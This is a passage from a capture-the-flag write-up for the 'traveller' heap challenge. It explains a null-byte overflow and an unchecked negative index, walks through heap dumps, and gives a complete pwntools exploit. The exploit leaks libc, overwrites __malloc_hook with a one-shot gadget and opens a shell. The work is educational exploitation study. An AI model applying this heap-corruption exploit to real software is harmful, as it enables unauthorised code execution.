  char buf [20];
  ssize_t bytes_read;
  trip *oldTrip;
  ssize_t choice;
  trip *ptr;

  printf("Update trip: ");
  fgets(buf,0x14,stdin);
  index = strtoul(buf,(char **)0x0,0);
  if ((long)index < (long)tIndex) {
    ptr = trips[index];
    bytesRead = read(0,ptr->destination,ptr->distance);
    ptr->destination[bytesRead] = '\0';
  }
  else {
    puts("No upcoming trip to update.");
  }
  return;
}
```

So we can see that it allows us to specify an index to `trips`, and scan in data into the trip chunk for that index. We can see that there are two bugs here. It checks to make sure that the index we provide is not larger than `tIndex` (the count of the number of trip chunks), however there is nothing stopping us from picking an index like `-5` and referencing something before the start of the ptr array. This index check bug we see in a few different places throughout this binary, however I didn't really use it. The second bug we can see is a null byte overflow:

```
    bytesRead = read(0,ptr->destination,ptr->distance);
    ptr->destination[bytesRead] = '\0';
```

Next up we have the `delte` function:

```
void delete(void)

{
  trip *__ptr;
  ulong index;
  char buf [20];
  trip *tp;
  ssize_t i;

  printf("Which trip you want to delete: ");
  fgets(buf,0x14,stdin);
  index = strtoul(buf,(char **)0x0,0);
  if ((long)index < (long)tIndex) {
    __ptr = trips[index];
    if (0 < tIndex) {
      trips[index] = trips[(long)(tIndex + -1)];
      tIndex = tIndex + -1;
    }
    free(__ptr->destination);
    free(__ptr);
  }
  else {
    puts("That trip is not there already.");
  }
  return;
}
```

So we can see that it frees both of the chunks. It also does the same index check, so it is also vulnerable to the same index check bug.

```
void check(void)

{
  ulong index;
  char choice [4];
  trip *aTrip;
  ssize_t i;

  puts("Which trip you want to view? ");
  putchar(0x3e);
  fgets(choice,4,stdin);
  index = strtoul(choice,(char **)0x0,0);
  if ((long)index < (long)tIndex) {
    printf("%s \n",trips[index]->destination);
  }
  else {
    puts("No trip in here. ");
  }
  return;
}
```

So here we see it prompts us for an index, and prints the data we specified for that chunk.

Exploitation

So we have a null byte overflow bug. We will leverage this to cause heap consolidation to the start of one of our trip chunks (the ones we can write to). We will leverage this first for a libc infoleak, then a write. Then we will use that space to allocate one of those `0x10` chunks with a ptr that get's written to. We will then overwrite that ptr to malloc hook, and overwrite it with a oneshot gadget. Then we will just call.

The first problem we have to deal with is that by the `0x10` chunks are allocated right next to our trip chunks:

```
gef➤  x/50g  0x603820
0x603820:    0x0    0x21
0x603830:    0x603850    0x80
0x603840:    0x0    0x91
0x603850:    0x3832373533393531    0xa
0x603860:    0x0    0x0
0x603870:    0x0    0x0
0x603880:    0x0    0x0
0x603890:    0x0    0x0
0x6038a0:    0x0    0x0
0x6038b0:    0x0    0x0
0x6038c0:    0x0    0x0
0x6038d0:    0x0    0x21
0x6038e0:    0x603900    0x80
0x6038f0:    0x0    0x91
0x603900:    0x3832313539333537    0xa
0x603910:    0x0    0x0
0x603920:    0x0    0x0
0x603930:    0x0    0x0
0x603940:    0x0    0x0
0x603950:    0x0    0x0
0x603960:    0x0    0x0
0x603970:    0x0    0x0
0x603980:    0x0    0x20681
0x603990:    0x0    0x0
0x6039a0:    0x0    0x0
```

We can get around this by allocating like `4` chunks, then freeing them. That way the `0x10` size chunks will get inserted into the fastbin and reused, so we will be able to get our trip chunks to align right next to each other. Now let's walk through and see how the memory is corrupted to give us a shell. Next we allocate four chunks that are right next to each other:

```
gef➤  x/150g 0x235b650
0x235b650:    0x0    0x121
0x235b660:    0x3030303030303030    0xa
0x235b670:    0x0    0x0
0x235b680:    0x0    0x0
0x235b690:    0x0    0x0
0x235b6a0:    0x0    0x0
0x235b6b0:    0x0    0x0
0x235b6c0:    0x0    0x0
0x235b6d0:    0x0    0x0
0x235b6e0:    0x0    0x1f921
0x235b6f0:    0x0    0x0
0x235b700:    0x0    0x0
0x235b710:    0x0    0x0
0x235b720:    0x0    0x0
0x235b730:    0x0    0x0
0x235b740:    0x0    0x0
0x235b750:    0x0    0x0
0x235b760:    0x0    0x0
0x235b770:    0x0    0x131
0x235b780:    0x3131313131313131    0xa
0x235b790:    0x0    0x0
0x235b7a0:    0x0    0x0
0x235b7b0:    0x0    0x0
0x235b7c0:    0x0    0x0
0x235b7d0:    0x0    0x0
0x235b7e0:    0x0    0x0
0x235b7f0:    0x0    0x0
0x235b800:    0x0    0x0
0x235b810:    0x0    0x0
0x235b820:    0x0    0x0
0x235b830:    0x0    0x0
0x235b840:    0x0    0x0
0x235b850:    0x0    0x0
0x235b860:    0x0    0x0
0x235b870:    0x0    0x0
0x235b880:    0x0    0x0
0x235b890:    0x0    0x0
0x235b8a0:    0x0    0x121
0x235b8b0:    0x3232323232323232    0xa
0x235b8c0:    0x0    0x0
0x235b8d0:    0x0    0x0
0x235b8e0:    0x0    0x0
0x235b8f0:    0x0    0x0
0x235b900:    0x0    0x0
0x235b910:    0x0    0x0
0x235b920:    0x0    0x0
0x235b930:    0x0    0x0
0x235b940:    0x0    0x0
0x235b950:    0x0    0x0
0x235b960:    0x0    0x0
0x235b970:    0x0    0x0
```

```
0x235b980:    0x0    0x0
0x235b990:    0x0    0x0
0x235b9a0:    0x0    0x0
0x235b9b0:    0x0    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
```

So we can see our four chunks. We will start off by freeing the first one:

```
0x235b650:	0x0	0x121
0x235b660:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x130
0x235b780:	0x3131313131313131	0xa
0x235b790:	0x0	0x0
0x235b7a0:	0x0	0x0
0x235b7b0:	0x0	0x0
0x235b7c0:	0x0	0x0
0x235b7d0:	0x0	0x0
0x235b7e0:	0x0	0x0
0x235b7f0:	0x0	0x0
0x235b800:	0x0	0x0
0x235b810:	0x0	0x0
0x235b820:	0x0	0x0
0x235b830:	0x0	0x0
0x235b840:	0x0	0x0
0x235b850:	0x0	0x0
0x235b860:	0x0	0x0
0x235b870:	0x0	0x0
0x235b880:	0x0	0x0
0x235b890:	0x0	0x0
0x235b8a0:	0x0	0x121
0x235b8b0:	0x3232323232323232	0xa
0x235b8c0:	0x0	0x0
0x235b8d0:	0x0	0x0
0x235b8e0:	0x0	0x0
0x235b8f0:	0x0	0x0
0x235b900:	0x0	0x0
0x235b910:	0x0	0x0
0x235b920:	0x0	0x0
0x235b930:	0x0	0x0
0x235b940:	0x0	0x0
0x235b950:	0x0	0x0
0x235b960:	0x0	0x0
0x235b970:	0x0	0x0
0x235b980:	0x0	0x0
```

```
0x235b990:    0x0    0x0
0x235b9a0:    0x0    0x0
0x235b9b0:    0x0    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
0x235b9e0:    0x0    0x0
0x235b9f0:    0x0    0x0
0x235ba00:    0x0    0x0
0x235ba10:    0x0    0x0
0x235ba20:    0x0    0x0
0x235ba30:    0x0    0x0
0x235ba40:    0x0    0x0
0x235ba50:    0x0    0x0
0x235ba60:    0x0    0x0
0x235ba70:    0x0    0x0
0x235ba80:    0x0    0x0
0x235ba90:    0x0    0x0
0x235baa0:    0x0    0x0
0x235bab0:    0x0    0x0
0x235bac0:    0x0    0x0
0x235bad0:    0x0    0x0
0x235bae0:    0x0    0x0
0x235baf0:    0x0    0x0
```

Now that the first one has been freed, we will edit the second chunk to overflow the least significant byte of the third chunk with a null byte. This will change it's size from `0x121` to `0x100`. We will also set the previous size to `0x250`, so it thinks that the previous chunk started where our first chunk is:

```
gef➤  x/150g 0x235b650
0x235b650:	0x0	0x121
0x235b660:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x130
0x235b780:	0x3838383838383838	0x3838383838383838
0x235b790:	0x3838383838383838	0x3838383838383838
0x235b7a0:	0x3838383838383838	0x3838383838383838
0x235b7b0:	0x3838383838383838	0x3838383838383838
0x235b7c0:	0x3838383838383838	0x3838383838383838
0x235b7d0:	0x3838383838383838	0x3838383838383838
0x235b7e0:	0x3838383838383838	0x3838383838383838
0x235b7f0:	0x3838383838383838	0x3838383838383838
0x235b800:	0x3838383838383838	0x3838383838383838
0x235b810:	0x3838383838383838	0x3838383838383838
0x235b820:	0x3838383838383838	0x3838383838383838
0x235b830:	0x3838383838383838	0x3838383838383838
0x235b840:	0x3838383838383838	0x3838383838383838
0x235b850:	0x3838383838383838	0x3838383838383838
0x235b860:	0x3838383838383838	0x3838383838383838
0x235b870:	0x3838383838383838	0x3838383838383838
0x235b880:	0x3838383838383838	0x3838383838383838
0x235b890:	0x3838383838383838	0x3838383838383838
0x235b8a0:	0x250	0x100
0x235b8b0:	0x3232323232323232	0xa
0x235b8c0:	0x0	0x0
0x235b8d0:	0x0	0x0
0x235b8e0:	0x0	0x0
0x235b8f0:	0x0	0x0
0x235b900:	0x0	0x0
0x235b910:	0x0	0x0
0x235b920:	0x0	0x0
0x235b930:	0x0	0x0
0x235b940:	0x0	0x0
0x235b950:	0x0	0x0
0x235b960:	0x0	0x0
0x235b970:	0x0	0x0
```

```
0x235b980:    0x0    0x0
0x235b990:    0x0    0x0
0x235b9a0:    0x0    0x0
0x235b9b0:    0x0    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
0x235b9e0:    0x0    0x0
0x235b9f0:    0x0    0x0
0x235ba00:    0x0    0x0
0x235ba10:    0x0    0x0
0x235ba20:    0x0    0x0
0x235ba30:    0x0    0x0
0x235ba40:    0x0    0x0
0x235ba50:    0x0    0x0
0x235ba60:    0x0    0x0
0x235ba70:    0x0    0x0
0x235ba80:    0x0    0x0
0x235ba90:    0x0    0x0
0x235baa0:    0x0    0x0
0x235bab0:    0x0    0x0
0x235bac0:    0x0    0x0
0x235bad0:    0x0    0x0
0x235bae0:    0x0    0x0
0x235baf0:    0x0    0x0
```

Now there is a slight problem with what we have done. The size of the third chunk is now `0x100`. It will expect a new chunk at `0x235b8a0 + 0x100 = 0x235b9a0` (since we have allocated another chunk after this). So it will expect another chunk at `0x235b9a0`, that fills up the rest of the space to the top chunk. We can satisfy this by making a fake chunk there with a size of `0x231` since `0x235b9a0 + 0x230 = 0x235bbd0`, which we can see is where the top chunk is:

```
gef➤  x/200g 0x235b650
0x235b650:	0x0	0x121
0x235b660:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x130
0x235b780:	0x3838383838383838	0x3838383838383838
0x235b790:	0x3838383838383838	0x3838383838383838
0x235b7a0:	0x3838383838383838	0x3838383838383838
0x235b7b0:	0x3838383838383838	0x3838383838383838
0x235b7c0:	0x3838383838383838	0x3838383838383838
0x235b7d0:	0x3838383838383838	0x3838383838383838
0x235b7e0:	0x3838383838383838	0x3838383838383838
0x235b7f0:	0x3838383838383838	0x3838383838383838
0x235b800:	0x3838383838383838	0x3838383838383838
0x235b810:	0x3838383838383838	0x3838383838383838
0x235b820:	0x3838383838383838	0x3838383838383838
0x235b830:	0x3838383838383838	0x3838383838383838
0x235b840:	0x3838383838383838	0x3838383838383838
0x235b850:	0x3838383838383838	0x3838383838383838
0x235b860:	0x3838383838383838	0x3838383838383838
0x235b870:	0x3838383838383838	0x3838383838383838
0x235b880:	0x3838383838383838	0x3838383838383838
0x235b890:	0x3838383838383838	0x3838383838383838
0x235b8a0:	0x250	0x100
0x235b8b0:	0x3030303030303030	0x3030303030303030
0x235b8c0:	0x3030303030303030	0x3030303030303030
0x235b8d0:	0x3030303030303030	0x3030303030303030
0x235b8e0:	0x3030303030303030	0x3030303030303030
0x235b8f0:	0x3030303030303030	0x3030303030303030
0x235b900:	0x3030303030303030	0x3030303030303030
0x235b910:	0x3030303030303030	0x3030303030303030
0x235b920:	0x3030303030303030	0x3030303030303030
0x235b930:	0x3030303030303030	0x3030303030303030
0x235b940:	0x3030303030303030	0x3030303030303030
0x235b950:	0x3030303030303030	0x3030303030303030
0x235b960:	0x3030303030303030	0x3030303030303030
0x235b970:	0x3030303030303030	0x3030303030303030
```

```
0x235b980:	0x3030303030303030	0x3030303030303030
0x235b990:	0x3030303030303030	0x3030303030303030
0x235b9a0:	0x0	0x231
0x235b9b0:	0xa	0x0
0x235b9c0:	0x0	0x211
0x235b9d0:	0x3333333333333333	0xa
0x235b9e0:	0x0	0x0
0x235b9f0:	0x0	0x0
0x235ba00:	0x0	0x0
0x235ba10:	0x0	0x0
0x235ba20:	0x0	0x0
0x235ba30:	0x0	0x0
0x235ba40:	0x0	0x0
0x235ba50:	0x0	0x0
0x235ba60:	0x0	0x0
0x235ba70:	0x0	0x0
0x235ba80:	0x0	0x0
0x235ba90:	0x0	0x0
0x235baa0:	0x0	0x0
0x235bab0:	0x0	0x0
0x235bac0:	0x0	0x0
0x235bad0:	0x0	0x0
0x235bae0:	0x0	0x0
0x235baf0:	0x0	0x0
0x235bb00:	0x0	0x0
0x235bb10:	0x0	0x0
0x235bb20:	0x0	0x0
0x235bb30:	0x0	0x0
0x235bb40:	0x0	0x0
0x235bb50:	0x0	0x0
0x235bb60:	0x0	0x0
0x235bb70:	0x0	0x0
0x235bb80:	0x0	0x0
0x235bb90:	0x0	0x0
0x235bba0:	0x0	0x0
0x235bbb0:	0x0	0x0
0x235bbc0:	0x0	0x0
0x235bbd0:	0x0	0x1f431
0x235bbe0:	0x0	0x0
0x235bbf0:	0x0	0x0
0x235bc00:	0x0	0x0
0x235bc10:	0x0	0x0
0x235bc20:	0x0	0x0
0x235bc30:	0x0	0x0
0x235bc40:	0x0	0x0
0x235bc50:	0x0	0x0
0x235bc60:	0x0	0x0
0x235bc70:	0x0	0x0
0x235bc80:	0x0	0x0
```

Now for the next step, we will cause the consolidation by freeing the third chunk here. After that we can just allocate a `0x110` byte chunk, which will bring the start of the unsorted bin up to our second chunk which we scan still write to (and we can print the data from it, and get a libc infoleak):

```
gef➤  x/200g 0x235b650
0x235b650:	0x0	0x121
0x235b660:	0x3434343434343434	0x7fbb12b0000a
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x231
0x235b780:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b790:	0x3838383838383838	0x3838383838383838
0x235b7a0:	0x3838383838383838	0x3838383838383838
0x235b7b0:	0x3838383838383838	0x3838383838383838
0x235b7c0:	0x3838383838383838	0x3838383838383838
0x235b7d0:	0x3838383838383838	0x3838383838383838
0x235b7e0:	0x3838383838383838	0x3838383838383838
0x235b7f0:	0x3838383838383838	0x3838383838383838
0x235b800:	0x3838383838383838	0x3838383838383838
0x235b810:	0x3838383838383838	0x3838383838383838
0x235b820:	0x3838383838383838	0x3838383838383838
0x235b830:	0x3838383838383838	0x3838383838383838
0x235b840:	0x3838383838383838	0x3838383838383838
0x235b850:	0x3838383838383838	0x3838383838383838
0x235b860:	0x3838383838383838	0x3838383838383838
0x235b870:	0x3838383838383838	0x3838383838383838
0x235b880:	0x3838383838383838	0x3838383838383838
0x235b890:	0x3838383838383838	0x3838383838383838
0x235b8a0:	0x250	0x100
0x235b8b0:	0x3030303030303030	0x3030303030303030
0x235b8c0:	0x3030303030303030	0x3030303030303030
0x235b8d0:	0x3030303030303030	0x3030303030303030
0x235b8e0:	0x3030303030303030	0x3030303030303030
0x235b8f0:	0x3030303030303030	0x3030303030303030
0x235b900:	0x3030303030303030	0x3030303030303030
0x235b910:	0x3030303030303030	0x3030303030303030
0x235b920:	0x3030303030303030	0x3030303030303030
0x235b930:	0x3030303030303030	0x3030303030303030
0x235b940:	0x3030303030303030	0x3030303030303030
0x235b950:	0x3030303030303030	0x3030303030303030
0x235b960:	0x3030303030303030	0x3030303030303030
0x235b970:	0x3030303030303030	0x3030303030303030
```

```
0x235b980:    0x3030303030303030    0x3030303030303030
0x235b990:    0x3030303030303030    0x3030303030303030
0x235b9a0:    0x230    0x230
0x235b9b0:    0xa    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
0x235b9e0:    0x0    0x0
0x235b9f0:    0x0    0x0
0x235ba00:    0x0    0x0
0x235ba10:    0x0    0x0
0x235ba20:    0x0    0x0
0x235ba30:    0x0    0x0
0x235ba40:    0x0    0x0
0x235ba50:    0x0    0x0
0x235ba60:    0x0    0x0
0x235ba70:    0x0    0x0
0x235ba80:    0x0    0x0
0x235ba90:    0x0    0x0
0x235baa0:    0x0    0x0
0x235bab0:    0x0    0x0
0x235bac0:    0x0    0x0
0x235bad0:    0x0    0x0
0x235bae0:    0x0    0x0
0x235baf0:    0x0    0x0
0x235bb00:    0x0    0x0
0x235bb10:    0x0    0x0
0x235bb20:    0x0    0x0
0x235bb30:    0x0    0x0
0x235bb40:    0x0    0x0
0x235bb50:    0x0    0x0
0x235bb60:    0x0    0x0
0x235bb70:    0x0    0x0
0x235bb80:    0x0    0x0
0x235bb90:    0x0    0x0
0x235bba0:    0x0    0x0
0x235bbb0:    0x0    0x0
0x235bbc0:    0x0    0x0
0x235bbd0:    0x0    0x1f431
0x235bbe0:    0x0    0x0
0x235bbf0:    0x0    0x0
0x235bc00:    0x0    0x0
0x235bc10:    0x0    0x0
0x235bc20:    0x0    0x0
0x235bc30:    0x0    0x0
0x235bc40:    0x0    0x0
0x235bc50:    0x0    0x0
0x235bc60:    0x0    0x0
0x235bc70:    0x0    0x0
0x235bc80:    0x0    0x0
```

Next we will allocate chunks, untill we have one of those `0x10` chunks overlapping with our second chunk:

```
gef➤  x/150g 0x235b650
0x235b650:	0x0	0x121
0x235b660:	0x3434343434343434	0x7fbb12b0000a
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x21
0x235b780:	0x235b7a0	0x80
0x235b790:	0x3838383838383838	0x91
0x235b7a0:	0x3636363636363636	0x7fbb12b0000a
0x235b7b0:	0x3838383838383838	0x3838383838383838
0x235b7c0:	0x3838383838383838	0x3838383838383838
0x235b7d0:	0x3838383838383838	0x3838383838383838
0x235b7e0:	0x3838383838383838	0x3838383838383838
0x235b7f0:	0x3838383838383838	0x3838383838383838
0x235b800:	0x3838383838383838	0x3838383838383838
0x235b810:	0x3838383838383838	0x3838383838383838
0x235b820:	0x3838383838383838	0x181
0x235b830:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b840:	0x3838383838383838	0x3838383838383838
0x235b850:	0x3838383838383838	0x3838383838383838
0x235b860:	0x3838383838383838	0x3838383838383838
0x235b870:	0x3838383838383838	0x3838383838383838
0x235b880:	0x3838383838383838	0x3838383838383838
0x235b890:	0x3838383838383838	0x3838383838383838
0x235b8a0:	0x250	0x100
0x235b8b0:	0x3030303030303030	0x3030303030303030
0x235b8c0:	0x3030303030303030	0x3030303030303030
0x235b8d0:	0x3030303030303030	0x3030303030303030
0x235b8e0:	0x3030303030303030	0x3030303030303030
0x235b8f0:	0x3030303030303030	0x3030303030303030
0x235b900:	0x3030303030303030	0x3030303030303030
0x235b910:	0x3030303030303030	0x3030303030303030
0x235b920:	0x3030303030303030	0x3030303030303030
0x235b930:	0x3030303030303030	0x3030303030303030
0x235b940:	0x3030303030303030	0x3030303030303030
0x235b950:	0x3030303030303030	0x3030303030303030
0x235b960:	0x3030303030303030	0x3030303030303030
0x235b970:	0x3030303030303030	0x3030303030303030
```

```
0x235b980:    0x3030303030303030    0x3030303030303030
0x235b990:    0x3030303030303030    0x3030303030303030
0x235b9a0:    0x180    0x230
0x235b9b0:    0xa    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
0x235b9e0:    0x0    0x0
0x235b9f0:    0x0    0x0
0x235ba00:    0x0    0x0
0x235ba10:    0x0    0x0
0x235ba20:    0x0    0x0
0x235ba30:    0x0    0x0
0x235ba40:    0x0    0x0
0x235ba50:    0x0    0x0
0x235ba60:    0x0    0x0
0x235ba70:    0x0    0x0
0x235ba80:    0x0    0x0
0x235ba90:    0x0    0x0
0x235baa0:    0x0    0x0
0x235bab0:    0x0    0x0
0x235bac0:    0x0    0x0
0x235bad0:    0x0    0x0
0x235bae0:    0x0    0x0
0x235baf0:    0x0    0x0
```

Now that we have an `0x10` byte chunk overlapping with the second chunk, we will overwrite the ptr in it to point to the malloc hook:

```
gef➤  x/150g 0x235b650
0x235b650:	0x0	0x121
0x235b660:	0x3434343434343434	0x7fbb12b0000a
0x235b670:	0x0	0x0
0x235b680:	0x0	0x0
0x235b690:	0x0	0x0
0x235b6a0:	0x0	0x0
0x235b6b0:	0x0	0x0
0x235b6c0:	0x0	0x0
0x235b6d0:	0x0	0x0
0x235b6e0:	0x0	0x1f921
0x235b6f0:	0x0	0x0
0x235b700:	0x0	0x0
0x235b710:	0x0	0x0
0x235b720:	0x0	0x0
0x235b730:	0x0	0x0
0x235b740:	0x0	0x0
0x235b750:	0x0	0x0
0x235b760:	0x0	0x0
0x235b770:	0x120	0x21
0x235b780:	0x7fbb12b01b10	0xa
0x235b790:	0x3838383838383838	0x91
0x235b7a0:	0x3636363636363636	0x7fbb12b0000a
0x235b7b0:	0x3838383838383838	0x3838383838383838
0x235b7c0:	0x3838383838383838	0x3838383838383838
0x235b7d0:	0x3838383838383838	0x3838383838383838
0x235b7e0:	0x3838383838383838	0x3838383838383838
0x235b7f0:	0x3838383838383838	0x3838383838383838
0x235b800:	0x3838383838383838	0x3838383838383838
0x235b810:	0x3838383838383838	0x3838383838383838
0x235b820:	0x3838383838383838	0x181
0x235b830:	0x7fbb12b01b78	0x7fbb12b01b78
0x235b840:	0x3838383838383838	0x3838383838383838
0x235b850:	0x3838383838383838	0x3838383838383838
0x235b860:	0x3838383838383838	0x3838383838383838
0x235b870:	0x3838383838383838	0x3838383838383838
0x235b880:	0x3838383838383838	0x3838383838383838
0x235b890:	0x3838383838383838	0x3838383838383838
0x235b8a0:	0x250	0x100
0x235b8b0:	0x3030303030303030	0x3030303030303030
0x235b8c0:	0x3030303030303030	0x3030303030303030
0x235b8d0:	0x3030303030303030	0x3030303030303030
0x235b8e0:	0x3030303030303030	0x3030303030303030
0x235b8f0:	0x3030303030303030	0x3030303030303030
0x235b900:	0x3030303030303030	0x3030303030303030
0x235b910:	0x3030303030303030	0x3030303030303030
0x235b920:	0x3030303030303030	0x3030303030303030
0x235b930:	0x3030303030303030	0x3030303030303030
0x235b940:	0x3030303030303030	0x3030303030303030
0x235b950:	0x3030303030303030	0x3030303030303030
0x235b960:	0x3030303030303030	0x3030303030303030
0x235b970:	0x3030303030303030	0x3030303030303030
```

```
0x235b980:    0x3030303030303030    0x3030303030303030
0x235b990:    0x3030303030303030    0x3030303030303030
0x235b9a0:    0x180    0x230
0x235b9b0:    0xa    0x0
0x235b9c0:    0x0    0x211
0x235b9d0:    0x3333333333333333    0xa
0x235b9e0:    0x0    0x0
0x235b9f0:    0x0    0x0
0x235ba00:    0x0    0x0
0x235ba10:    0x0    0x0
0x235ba20:    0x0    0x0
0x235ba30:    0x0    0x0
0x235ba40:    0x0    0x0
0x235ba50:    0x0    0x0
0x235ba60:    0x0    0x0
0x235ba70:    0x0    0x0
0x235ba80:    0x0    0x0
0x235ba90:    0x0    0x0
0x235baa0:    0x0    0x0
0x235bab0:    0x0    0x0
0x235bac0:    0x0    0x0
0x235bad0:    0x0    0x0
0x235bae0:    0x0    0x0
0x235baf0:    0x0    0x0
gef➤  x/g 0x7fbb12b01b10
0x7fbb12b01b10 <__malloc_hook>:    0x0
```

Now we can just overwrite the malloc hook with a oneshot gadget:

```
gef➤  x/g 0x7fbb12b01b10
0x7fbb12b01b10 <__malloc_hook>:    0x7fbb1282e147
```

After that, it is just a matter of calling `malloc` and getting a shell!

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

#target = remote("pwn.chal.csaw.io", 1003)
target = process("./traveller", env = {"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

libc = ELF("libc-2.23.so")

def pl():
    print target.recvuntil(">")

'''
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
'''
def add(size, content):
    pl()
    target.sendline("1")
    #pl()
    target.sendline(str(size))
    #print target.recvuntil("Destination")
    target.sendline(content)

def edit(index, content):
    pl()
    target.sendline("2")
    #pl()
    target.sendline(str(index))
    raw_input()
    #print target.recvuntil("Destination")
    target.sendline(content)

def delete(index):
    pl()
    target.sendline("3")
    #pl()
    target.sendline(str(index))
    #print target.recvuntil("Destination")

def show(index):
    pl()
    target.sendline("4")
    #pl()
    target.sendline(str(index))
    #print target.recvuntil("Destination")

# allocate / free some chunks to get 0x10 byte chunks out of the way
add(1, "x"*8)
add(1, "x"*8)
```

```
add(1, "x"*8)
add(1, "x"*8)

delete(0)
delete(0)
delete(0)
delete(0)

# Allocate our four chunks which will be right next to each other in memory
add(2, "0"*8)# 0
add(3, "1"*8)# 1
add(2, "2"*8)# 2
add(5, "3"*8)# 3


# Free the first chunk
delete(0)# 0

# Edit the second chunk, execute null byte overflow against third
edit(1, "8"*0x120 + p64(0x250))# 1

# Setup fake chunk in the third chunk to pass malloc checks
edit(2, "0"*0xf0 + p64(0) + p64(0x231))# 2

# free the third chunk, cause the heap consolidation
delete(2)# 2

# Bring the start of the unsorted bin up to our first chunk, which we can still
write to
add(2, "4"*8)

# Get the libc infoleak

pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()

target.sendline("4")
target.sendline("1")
print target.recvuntil(">")

leak = target.recvline().strip("\n").strip("\x20")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x3c4b78
```

```python
print "libcBase: " + hex(libcBase)

# Add chunks to get 0x10 byte chunk overlapping with our first chunk

add(1, "5"*8)

add(1, "6"*8)

# Overwrite ptr of 0x10 byte chunk with that of the malloc hook
edit(1, p64(libcBase + libc.symbols["__malloc_hook"]))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

# Overwrite malloc hook chunk with oneshot gadget
edit(4, p64(libcBase + 0xf1147))

# Call malloc to get a shell
add(1, "g0ttem_b0yz")

# Enjoy your shell!
target.interactive()
```

When we run it (this exploit was ran on `Ubuntu 16.04`):

```
$    python exploit.py
[+] Starting local process './traveller': pid 15765
[*] '/home/guyinatuxedo/Desktop/traveler/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Hello! Welcome to trip management system.
0x7ffeba94a67c

Choose an option:

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 0 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 1 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
```

```
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 2 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 3 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
